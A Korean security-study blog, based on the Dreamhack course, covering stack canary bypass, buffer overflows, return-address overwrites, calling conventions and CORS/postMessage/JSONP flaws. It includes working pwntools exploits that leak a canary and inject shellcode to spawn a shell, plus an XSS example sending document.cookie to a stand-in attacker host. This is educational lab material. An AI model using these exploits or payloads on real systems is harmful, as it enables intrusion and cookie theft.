아래 글을 보고 읽으면 더 이해가 잘 될 것이다

 

[시스템] 스택 카나리 우회(Canary)

이전 학습 ↓ [시스템] 스택 카나리 분석(Canary)카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나

fight-hacker.tistory.com

 

 

 


 

코드 설명

buf 주소 및 rbpbuf 사이의 주소 차이를 출력하고

(버퍼의 주소를 알거나 구할 수 있어야 공격이 가능)

스택 버퍼인 buf에 두 번의 입력을 받는다

이때 두 번 모두 오버플로우가 발생한다

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 

스택 구조

 

+------------------------+  <- 낮은 주소
| buf[0x50] (80 bytes) |  <- 입력 버퍼
+------------------------+
Canary                 |  <- 스택 카나리 (스택 오버플로우 방지)
+------------------------+
| Saved $rbp           |  <- 이전 프레임의 베이스 포인터
+------------------------+
| Return Address    | <- 복귀 주소 
+------------------------+  <- 높은 주소

 

 

 

두번째 입력으로 반환 주소(rbp)를 덮을 수 있지만, 중간에 카나리까지 덮여진다

카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다

 

그러므로 첫 번째 입력에서 buf에 오버플로우를 발생시켜서

카나리 값을 알아낸 후 이를 두 번째 입력에 사용해야 한다

 

 

 


실습

 

 

 

위 소스코드를 컴파일

-zexecstack 옵션은 스택에 실행 권한을 부여하여, 스택에서 실행되는 코드를 허용함

 

 

 

 

리눅스에는 다양한 바이너리 보호기법이 존재

checksec - 보호기법을 파악할 때 사용하는 툴

RELRO, STACK CANARY, PIE 등의 보호기법이 적용되어 있는 것을 확인

 

 

 

 

 

익스플로잇 코드

 

def slog(n, m): return success(': '.join([n, hex(m)]))

익스플로잇 진행 중 로그를 표시한다

 

p = process('./r2s')

바이너리를 실행하여 프로세스 시작

 

p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)

프로그램 출력에서 "buf: "까지 읽는다

buf의 주소를 16진수로 변환하여 저장

 

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8

buf와 $rbp 사이의 거리를 계산

buf카나리 사이의 거리를 계산

 

payload = b'A'*(buf2cnry + 1)
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))

buf카나리 사이의 거리(buf2cnry)만큼 패딩('A')을 채워 카나리를 노출

+1은 첫 번째 null 바이트를 고려한 추가 길이다

p.sendafter - 카나리 값을 읽기 위해 패이로드를 전송

노출된 카나리 값을 읽고 64비트 정수로 변환한다(카나리는 항상 첫 바이트는 널이므로 \x00으로 채운다)

 

sh = asm(shellcraft.sh())

pwntools의 쉘코드 생성 기능을 사용해 쉘을 실행하는 기계어 코드를 생성

 

payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)

스택에 실행 가능한 쉘코드 + 패딩(카나리까지 거리) + 알아낸 카나리 값 + 패딩(8 바이트) + buf

|              buf[0x50] (80 bytes)                                   | + |        Canary        | + | Saved $rbp| + | Return Address |

리턴 주소를 buf로 덮어써서 buf의 쉘코드가 실행되도록 한다

 

p.interactive()

익스플로잇 실행 후, 쉘과 상호작용할 수 있는 상태로 진입

 

 

 

전체 코드

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

 

 

 

익스플로잇 코드 실행 결과

 

 

성공!

 

이전 학습 ↓

 

[시스템] 스택 카나리 분석(Canary)

카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나리를 적용하여 컴파일한다-fno-stack-protector 옵션

fight-hacker.tistory.com

 


카나리 생성 과정

 

카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장된다

TLS에 카나리 값이 저장되는 과정을 분석해보자

 

fsTLS를 가리키므로 fs 값만 알면 TLS 주소를 알 수 있다

하지만 리눅스에서 fs 값은 특정 시스템 콜을 사용해야만 조회 가능하다

 

그래서 fs 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점을 설정한다

 

 

catch 명령어는 특정 이벤트가 발생했을 때, 프로세스를 중지시킨다

arch_prctl에 catchpoint를 설정하고 canary를 실행한다

 

 

 

init_tls() 안에서 catchpoint에 도달할 때까지 countinue 명령어 실행

 

 

rdi 값이 0x1002이며, 이 값은 ARCH_SET_FS의 상숫값이다

rsi 값이0x7ffff7fa8740이므로, 이 프로세스는 TLS 0x7ffff7fa8740에 저장할 것이다

 

 

카나리가 저장될 fs+0x28 (0x7ffff7fa8740 + 0x28) 값에는 아직 어떠한 값도 설정되어 있지 않음

(리눅스는 TLS의 0x28 오프셋에 카나리를 저장함)

x/gx: 8바이트 단위로 메모리 값을 출력

 

 

 

TLS+0x28에 값을 쓸 때 프로세스를 중단시킨다

watch는 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어다

 

 

 

watchpoint를 설정하고 프로세스를 진행시키면 security_init 함수에서 프로세스가 멈춘다

 

 

 

여기서 TLS+0x28의 값을 조회하면 카나리가 설정된 것을 확인 가능

 

 

 

실제로 이 값이 main 함수에서 사용하는 카나리값인지 확인하기 위해

main 함수에 중단점 설정하고 진행

ni 명령어로 한 줄 씩 실행

 

 

rax 값을 확인해보면 security_init에서 설정한 값과 같은 것을 확인 가능(0x33225375db8eb500)

 

 

 

 

 

 

 

 

 

카나리 정적 분석

 

스택 버퍼 오버플로우 취약점이 존재하는 코드

#include <unistd.h>

int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

 

 

 

gcc는 기본적으로 스택 카나리를 적용하여 컴파일한다

-fno-stack-protector 옵션으로 카나리 없이 컴파일 가능

버퍼 오버플로우 경고문이 뜨면서 컴파일됨

 

 

바이너리를 실행하고 긴 문자열을 입력하면 반환 주소가 덮여서 Segmentation fault가 발생

 

 

 

 

카나리를 활성화하여 컴파일하고 실행하면

stack samshing detected, Aborted 에러가 발생

→  스택 버퍼 오버플로우가 탐지되어 프로세스가 강제 종료됐다는 뜻

 

 

 

 

 

 


 

카나리 동적 분석

 

이제 카나리가 적용된 바이너리를 분석해보자

 

 

 

중단점을 설정하고 바이너리를 실행시킨다

 

 

 

<main+12> fs:0x28의 데이터를 읽어서 rax에 저장한다

fs는 세크먼트 레지스터의 일종으로, 리눅스는 프로세스가 시작될 때, fs:0x28에 랜덤 값을 저장한다

따라서 rax에 리눅스가 생성한 랜덤 값이 저장된다 

fs
cs, ds, es는 CPU가 사용 목적을 명시한 레지스터인 반면, fs와 gs는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는
레지스터이다. 리눅스는 fs를 Thread Local Storage(TLS)를 가리키는 포인터로 사용한다. TLS에는 카나리를 비롯하여 
프로세스 실행에 필요한 여러 데이터가 저장된다.

 

 

 

 

코드를 두 줄 실행하면 rax에 첫 바이트가 널 바이트인 8바이트 데이터가 저장된다

 

 

 

코드를 한 줄 더 실행한다

 

 

 

그러면 rax에 저장된 랜덤값은 rbp-0x8에 저장된다

 

 

<main+54>에 중단점을 설정하고 H*16를 입력한다

rbp-0x8에 저장된 카나리 값이 버퍼 오버플로우로 인해 0x4848484848484848('HHHHHHHH')이 됨

 

 

<main+58>의 연산 결과가 0이 아니므로 <main+69>__stack_chk_fail 을 실행하게 됨

→  프로세스가 강제로 종료됨

 

 

 

 

 

 

CORS (Cross-Origin Resource Sharing)

동일 출처 정책(SOP)의 한계를 극복하고 다른 오리진 간 자원 공유를 가능하게 하는 방법

이를 위해 postMessage, JSONP 와 같은 기술들이 도입되었다.

 

  • CORS의 목적: SOP 보안 정책을 우회하여, 다른 오리진 간에 자원을 안전하게 공유할 수 있도록 설계됨
  • 취약점 발생 가능성: CORS를 잘못 설정하면 사이트 간 요청 위조(CSRF)와 같은 보안 취약점이 발생할 수 있음. 이는 웹 서비스뿐만 아니라 P2P 파일 공유 소프트웨어에서도 문제가 될 수 있음

 

 

CORS 사용 시 발생할 수 있는 주요 취약점

  • 기밀성 문제:
    • CORS가 민감한 정보를 특정 대상에게만 공유하려는 경우에도, Origin 검사를 제대로 하지 않으면 정보가 다른 사이트로 유출될 위험이 있음
    • 예를 들어, CORS 요청 시 Origin 검사가 없거나 제한이 없는 경우, 사용자의 신원 등 민감한 정보가 노출될 수 있음
  • 무결성 문제:
    • CORS 요청의 Origin을 신뢰할 수 있는지 확인하지 않거나 제한하지 않으면, XSS와 같은 보안 문제가 발생할 수 있음
    • CORS 설정 시 신뢰할 사이트를 정확히 결정하고, XSS 필터와 같은 추가적인 방어가 필요

 

 

 

postMessage 취약점

초기의 웹 환경에서는 프레임들이 서로 코드를 자유롭게 호출할 수 있었지만 SOP가 도입되면서 서로 다른 오리진의 리소스 공유가 제한되었다.

이를 해결하기 위해, 서로 다른 오리진 간에 안전하게 메시지를 주고받을 수 있는 API가 고안되었다.

 

  • 메시지 전송: 대상 윈도우의 postMessage 메소드를 호출하여 메시지를 전송
  • 메시지 수신: 수신 측에서는 message 전역 이벤트를 사용해 메시지를 처리

postMessage는 문자열뿐만 아니라 객체도 주고받을 수 있지만, 보안을 위해 함수, DOM 노드, 프로토타입, get/set 속성은 전송할 수 없다.

또한, 전송되는 객체는 복사되기 때문에, 송신 후에 객체를 변경해도 수신 측에서는 변경된 내용을 볼 수 없다.

 

 

Origin 미확인

postMessage API 사용 시 Origin 을 명확히 지정 및 검사해야 한다.

message 이벤트 핸들러에서 origin 속성을 검사하지 않고 메시지의 내용을 신뢰하면 보안 문제가 발생할 수 있다.

 

아래는 Origin을 확인하지 않는 예제다.

프레임 내 하위 윈도우에서 부모 윈도우로 postMessage를 보내고 있다. 

여기서 부모 윈도우에서 수신한 messgae의 data를 innerHTML로 넣는 것을 볼 수 있다.

이 때 부모 윈도우에서 portMessage의 Origin을 확인하지 않아 공격자의 오리진에서 임의 HTML을 삽입할 수 있다.

// https://dreamhack.io
window.onmessage = function (e) {
    var dialog = document.getElementById('my-dialog');
    if (dialog == null) {
        dialog = document.createElement('dialog');
        dialog.id = 'my-dialog';
        document.body.appendChild(dialog);
    }
    dialog.setAttribute('open', '');
    dialog.innerHTML = e.data;  // Insert html
};

부모 window

// https://bob.dreamhack.io
parent.postMessage('<h1>안내</h1><p>작업이 완료되었습니다.</p>', 'https://dreamhack.io');

하위 window

// https://attacker.test
parent.postMessage(`XSS attack<script>
new Image().src="https://attacker.test/retrieve?" + document.cookie);
alert(document.domain);
<${'/'}script>`, 'https://dreamhack.io');

공격자 window

 

 

Origin 전환 경합 조건

postMessage를 사용할 때 메시지를 보내는 대상이 웹 문서가 아닌 창(윈도우)라는 것을 주의해야 한다.

창의 경우에는 사용자가 하이퍼링크를 방문하거나 스크립트가 다른 문서로 리다이렉트시켜 Origin이 변경될 수 있다.

이 상태에서 메시지를 보내면 의도하지 않은 Origin으로 메시지가 전송되는 보안 문제가 발생할 수 있다.

 

공격 시나리오

  1. 부모 window에서 하위 window 생성
  2. 하위 window가 부모 window한테 postMessage로 메시지 및 비밀 값 전송
  3. 부모 window가 공격작의 다른 웹 사이트로 리다이렉트
  4. 하위 window는 여전히 부모 window에게 메시지 및 비밀 값 전송
  5. 공격자 사이트가 하위 window가 보내주는 메시지 수신

 


 

 

JSONP 취약점

JSON with Padding의 준말

CORS 기술이 도입되기 전, SOP를 우회하기 위해 사용된 방식

JSONP API는 JSON API와 유사하나, 응답 데이터를 특정 콜백 함수로 호풀하는 코드로 감싸고 요청 시 XHR이 아니라 다음과 같이 스크립트로 포함시켜 동작한다는 점이 다르다.

<script src="https://api.test/request.jsonp?id=123&callback=onAPIResponse">

 

 

응답은 onAPIResponse({...}); 식으로 생성되어 최종적으로 본래 문서의 함수를 호출하게 된다.

 

 

Origin 검사 부재로 인한 CSRF

HTTP GET 메소드에 의존하는 JSONP 특성 상 CSRF 공격에 취약하다.

 

민감한 정보를 반환하거나 권한이 필요한 작업을 수행하는 JSONP API가 CSRF 공격에 노출되었을 경우,

JSONP API를 이용해 추가적인 정보 유출 및 피해가 발생할 수 있다.

 

이를 방어하기 위해 JSONP 요청을 처리할 때 요청자의 Origin을 검사하거나, CSRF 토큰을 사용할 수 있다.

 

 

콜백 함수명 검증 부재로 인한 제공자 XSS

JSONP API 대부분은 사용자가 콜백 함수명을 직접 지정할 수 있도록 하고 있다. 만일 콜백명에 HTML 코드 등을 삽입한다면 브라우저는 이를 HTML 코드로 인식할 수 있고, 이 경우 XSS 취약점이 발생하게 된다.

 

콜백 HTML 삽입을 막기 위해서 콜백명에 필터를 적용해야 한다. 

 

JSONP는 API 제공자의 코드를 그대로 사용자의 웹 문서에서 실행한다.

만약 JSONP API가 침해 사고를 당해 악의적인 응답이 들어온다면 이를 이용하는 모든 사이트는 XSS 공격에 노출된다.

따라서 JSONP 사용을 피하고 CORS 정책 헤더를 대신 사용해야 한다.

 

 

scanf 함수의 포맷 스트링 중 하나인 %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며,

공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다.

 

이러한 특징으로 인해, 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다.

 

따라서 scanf에 %s포맷 스트링은 절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 %[n]s의 형태로 사용해야 한다.

위험한 함수 안전한 함수
scanf, strcpystrcatsprintf strncpystrncatsnprintffgetsmemcpy

 

 

 

아래는 포멧 스트링 취약점이 존재하는 코드다.

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

 

컴파일한 후, 해당 파일을 실행한다.

"A"를 64개 입력하면 세그멘테이션 오류(잘못된 메모리 주소에 접근함) 에러가 출력된다.

(코어 덤프됨)은코어파일(core)을 생성했다는 것으로, 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.

 

 

gdb를 사용해서 코어 파일을 분석해보자.

 

main 함수에서 반환하려고 할때, 스택 최상단에 저장된 값이 0x4141414141414141('AAAAAAAA') 라는 것을 알 수 있다.

이는 실행가능한 메모리의 주소가 아니므로 세그멘테이션 오류가 발생한 것이다.

만약 원하는 코드 주소가 되도록 입력을 넣으면, main 함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있다.

 

 

gdb로 rao 파일을 분석해보자.

scanf()에 인자를 전달하는 부분을 보면, 오버플로우를 발생시킬 버퍼가 rbp-0x30에 위치하는 것을 알 수 있다.

scanf( "%s" , (rbp- 0x30 ))

 

 

스택 프레임의 구조는 다음과 같다.

rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장된다.


입력할 버퍼와 반환 주소 사이에 0x38 만큼의 거리가 있으므로, 그 만큼을 쓰레기 값(dummy data)으로 채우고,

실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.

 

 

 

gdb로 get_shell() 함수의 주소를 확인한다.  → 0x4011dd 

 

그러면 다음과 같은 페이로드(공격을 위해 프로그램에 전달하는 데이터)를 구성할 수 있다.

페이로드와 페이로드로 오염되는 스택 프레임

 

 

 

익스플로잇을 작성할 때는 대상 시스템의 엔디언을 고려해야 한다. 

리틀 엔디언을 사용하는 인텔 x86-64아키텍처를 사용하고 있으므로 get_shell()의 주소 0x4011dd

\xdd\x11\x40\x00\x00\x00\x00\x00로 전달해야 한다.

 

 

파이썬으로 exploit 코드를 작성하고

from pwn import *

p = process('./rao')

payload = b"A"*0x30                               #buf
payload += b"B"*0x8                               #SFP
payload += b"\xdd\x11\x40\x00\x00\x00\x00\x00"    #return address

p.recvuntil('Input: ')

p.sendline(payload)
p.interactive()

 

 

exploit 파일을 실행시키면, 쉘을 얻게 된다.

 

 

 

 

 

참고 - 드림핵 ( System Hacking) https://dreamhack.io/lecture/roadmaps/all/system-hacking

 

목록 | 로드맵 | Dreamhack

Memory Corruption: Stack Buffer Overflow 9.7★ (234) Free

dreamhack.io

 

 

  • 버퍼 : 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소
  • 버퍼 역할 : 간접적으로 데이터를 전달하게 하여, 빠른 속도로 이동하던 데이터가 안정적으로 목적지에 도달할 수 있도록 완충 작용 수행
  • 버퍼 오버플로우 : 버퍼가 넘치는 것
  • 메모리 오염 : 일반적으로 버퍼는 메모리상에 연속해서 할당되어 있으므로, 어떤 버퍼에서 오버플로우가 발생하면, 뒤에 있는 버퍼들의 값이 조작될 위험이 존재

 


예제

 

중요데이터 변조

버퍼 오버플로우가 발생하는 버퍼 뒤에 중요한 데이터가 있다면, 해당 데이터가 변조됨으로써 문제가 발생할 수 있다.

  1. strncpy를 사용할 때, temp 버퍼의 크기인 16바이트를 초과해 password를 복사하면 스택 버퍼 오버플로우가 발생
  2. temp 뒤에 위치한 auth 변수의 값이 변경되어 if(check_auth(argv[1])) 조건이 항상 참이 됨   
int check_auth(char *password) {
    int auth = 0;  //auth는 스택에서 temp 뒤에 위치
    char temp[16];
    
    strncpy(temp, password, strlen(password)); 
    if(!strcmp(temp, "SECRET_PASSWORD"))
        auth = 1;
    
    return auth;
}
int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: ./sbof_auth ADMIN_PASSWORD\n");
        exit(-1);
    }
    
    if (check_auth(argv[1]))
        printf("Hello Admin!\n");
    else
        printf("Access Denied!\n");
}

temp에 16바이트를 초과한 값을 넣어, 인증에 성공한 모습

 

 

 

데이터 유출

C언어에서 문자열은 널바이트(\0)로 끝나며, 표준 출력 함수들은 이를 문자열의 끝으로 인식한다. 그러나 버퍼 오버플로우로 널바이트를 제거하면, 출력 시 다음 버퍼의 데이터까지 읽을 수 있어 정보 유출이 발생할 수 있다.

  1. 8바이트 크기의 name 버퍼에 12바이트를 입력하면 오버플로우가 발생해, name과 secret 버퍼 사이의 4바이트 널 배열(barrier)이 덮어씌워질 수 있음
  2. 널 바이트가 제거되면 secret 버퍼의 데이터까지 읽을 수 있음
int main(void) {
  char secret[16] = "secret message";
  char barrier[4] = {};
  char name[8] = {};
  
  memset(barrier, 0, 4);
  
  printf("Your name: ");
  read(0, name, 12);
  
  printf("Your name is %s.", name);
}

name에 12바이트를 초과한 값을 넣어, secret message가 출력된 모습

 

 

 

실행 흐름 조작

택 버퍼 오버플로우로 반환 주소 (return address)를 조작하면 프로세스의 실행 흐름을 바꿀 수 있다.

SFP: 함수 호출 시 스택에 저장되는 이전 함수의 프레임 포인터를 의미. SFP 는 주로 함수 간의 호출 관계를 유지하고, 함수가 종료된 후에 원래 호출 위치로 복귀하는 데 사용됨

  1. buf에 16바이트 이상의 데이터를 입력하면 스택에서 buf 다음에 위치한 메모리 영역, 즉 반환 주소를 덮어쓸 수 있음
int main(void) {
    char buf[8];
    printf("Overwrite return address with 0x4141414141414141: ");
    gets(buf);
    return 0;
}

8바이트는 buf를 채우고, 그 다음 8바이트는 SFP를 채우고, AAAAAAAA가 반환 주소를 4141414141414141로 변경

 

 

 

 

 

 

 

 

 

참고 - 드림핵 ( System Hacking) https://dreamhack.io/lecture/roadmaps/all/system-hacking

 
 

목록 | 로드맵 | Dreamhack

Memory Corruption: Stack Buffer Overflow 9.7★ (234) Free

dreamhack.io

 

 

프로그램에서 함수 A가 함수 B를 호출하면, 실행 흐름이 함수 B로 이동한다.

함수 B의 실행이 완료되면, 프로그램은 다시 함수 A로 돌아와 기존의 실행을 이어간다.

 

  • 호출자(Calller)의 상태 관리: 함수 A가 함수 B를 호출할 때, 함수 A는 반환된 후에도 원활한 실행을 위해 자신의 상태(스택 프레임)와 반환 주소(Return Address)를 저장해 둬야 한다.
  • 인자 전달: 호출자(Calller)는 피호출자(Callee)가 필요로 하는 인자를 전달해야 힌다. 이 인자는 함수 호출 시 스택이나 레지스터를 통해 전달된다.
  • 반환 값 처리: 피호출자(Callee)의 실행이 종료될 때, 피호출자는 결과 값을 호출자에게 반환한다. 호출자는 이 반환 값을 받아 후속 처리를 이어간다.

 

함수 호출 규약은 위 과정에 대한 약속이다.

이러한 규약은 일반적으로 컴파일러가 처리한다.

 

  • 컴파일러의 역할: 프로그래머가 고수준 언어로 코드를 작성하면, 컴파일러가 CPU 아키텍처에 적합한 호출 규약을 자동으로 선택하여 코드를 컴파일한다. 따라서 대부분의 프로그래머는 함수 호출 규약을 알 필요 없이 코드를 작성할 수 있다.

그러나 컴파일러의 도움 없이 어셈블리 코드를 직접 작성하거나, 어셈블리로 작성된 코드를 분석하려면 함수 호출 규약을 이해하는 것이 중요다. 이는 시스템 해킹과 같은 분야에서 필수적인 기술이다.

 

 



목차

  • 함수 호출 규약의 종류
  • SYSV 호출 규약

 

 

함수 호출 규약의 종류

컴파일러는 CPU 아키텍처에 적합한 함수 호출 규약을 선택한다.

  • x86(32비트) 아키텍처: 레지스터 수가 적기 때문에, 인자를 스택을 통해 전달하는 호출 규약을 사용
  • x86-64 아키텍처: 레지스터가 많아 적은 수의 인자는 레지스터로 전달하고, 인자가 많을 때만 스택을 사용

컴파일러는 같은 CPU 아키텍처에서도 컴파일러에 따라 적용되는 호출 규약이 다를 수 있다.

 

  • 윈도우의 MSVC: x86-64 아키텍처에서 MS x64 호출 규약을 사용
  • 리눅스의 gcc: x86-64 아키텍처에서 SYSTEM V 호출 규약을 사용

 

동일한 호출 규약이라도 컴파일러마다 다르게 구현될 수 있다.

 

아래는 대표적인 함수 호출 규약들이다.

x86 함수 호출 규약   
함수호출규약 사용 컴파일러 인자 전달 방식 스택 정리 적용
stdcall MSVC Stack Callee WINAPI
cdecl GCC, MSVC Stack Caller 일반 함수
fastcall MSVC ECX, EDX Callee 최적화된 함수
thiscall MSVC ECX(인스턴스), Stack(인자) Callee 클래스의 함수
x86-64 함수 호출 규약  
함수호출규약 사용 컴파일러 인자 전달 방식 스택 정리 적용
MS ABI MSVC RCX, RDX, R8, R9 Caller 일반 함수, Windows Syscall
System ABI GCC RDI, RSI, RDX, RCX, R8, R9, XMM0–7 Caller 일반 함수

 

 

 

SYSV 호출 규약

리눅스에서 file 명령어를 사용하여 바이너리 정보를 확인한 모습

 

리눅스는 SYSTEM V (SYSV) Application Binary Interface를 기반으로 만들어졌다.

 SYSV ABI는 ELF 포맷, 링킹 방법, 함수 호출 규약 등의 내용을 담고 있다.

 

SYSV의 함수 호출 규약은 아래 특징을 갖는다.

 

  • 인자 전달: 처음 6개의 인자는 레지스터 RDI, RSI, RDX, RCX, R8, R9에 순서대로 저장하여 전달한다. 추가 인자는 스택을 통해 전달한다.
  • 스택 정리: 호출자(Caller)가 인자 전달에 사용된 스택을 정리한다.
  • 반환 값: 함수의 반환 값은 RAX 레지스터에 저장하여 전달한다.

 

다음 코드를 컴파일하고 동적 분석해보며 SYSV 호출 규약에 대해 더 알아보자.

 

#define ull unsigned long long

ull callee(ull a1, int a2, int a3, int a4, int a5, int a6, int a7) {
  ull ret = a1 + a2 + a3 + a4 + a5 + a6 + a7;
  return ret;
}

void caller() { callee(123456789123456789, 2, 3, 4, 5, 6, 7); }

int main() { caller(); }
  •  

 

 

 

sysv.c 파일을 생성하고 컴파일한 뒤, gdb로 sysv를 로드한다.

caller()에 브레이크 포인트를 걸고 실행한다.

 

1. 인자 전달

첫 번째 인자부터 여섯 번째 인자는 레지스터에, 7번째 인자는 스택으로 전달하는 것을 확인할 수 있다.

 

callee() 호출 부분을 브레이크 포인트로 설정하고 실행한다.

 

인자들이 레지스터  rdi, rsi, rdx, rcx, r8, r9,  rsp(스택의 최상단을 가리키는 포인터)에 설정되어 있는 것을 확인할 수 있다.

 

 

2. 반환 주소 저장 

si 명령어로 한 단계 더 실행시키면 함수 호출이 실행되며, 스택에 반환 주소가 저장된다.

0x5555555551bccallee에서 반환됐을 때, 원래의 실행 흐름으로 돌아갈 수 있는 주소다.

 

 

3. 스택 프레임 저장

callee()의 도입부를 살펴보면, 가장 먼저 push rbp를 통해 호출자 (caller())의 rbp를 저장한다.

rbp(스택의 가장 낮은 주소를 가리키는 포인터)는 SFP라고도 부른다.

callee()에서 반환될 때, SFP를 꺼내어 caller()의 스택 프레임으로 돌아갈 수 있다.

 

si로 push rbp를 실행하면, rbp값이 저장된 것을 확인할 수 있다.

 

 

4. 스택 프레임 할당

mow rbp, rsp를 실행해서 rbprsp가 같은 주소를 가리키게 한다.

만약 이 다음에 rsp의 값을 빼게 되면, rbpsrp의 사이 공간을 새로운 스택 프레임으로 할당하는 것이다.

하지만 callee() 는 지역 변수를 사용하지 않으므로, 새로운 스택 프레임을 만들지 않는다.

 

 

5. 반환 값 전달

callee()의 덧셈 연산을 모두 마치고 함수의 종결부에 도달하면, 반환값을 rax에 옮긴다.

 

반환 직전에 rax를 확인하면 7개 인자의 합인 123456789123456816을 확인할 수 있다.

 

 

6. 반환

저장해뒀던 스택 프레임과 반환 주소를 꺼내면서 반환한다.

여기서는 callee()가 스택 프레임을 만들지 않았기 때문에, pop rbp로 스택 프레임을 꺼낼 수 있지만, 일반적으로 leave로 꺼낸다.

 

 

 

 

 

 

참고 - 드림핵 ( System Hacking) https://dreamhack.io/lecture/roadmaps/all/system-hacking

 

 

목록 | 로드맵 | Dreamhack

Memory Corruption: Stack Buffer Overflow 9.7★ (234) Free

dreamhack.io

 

+ Recent posts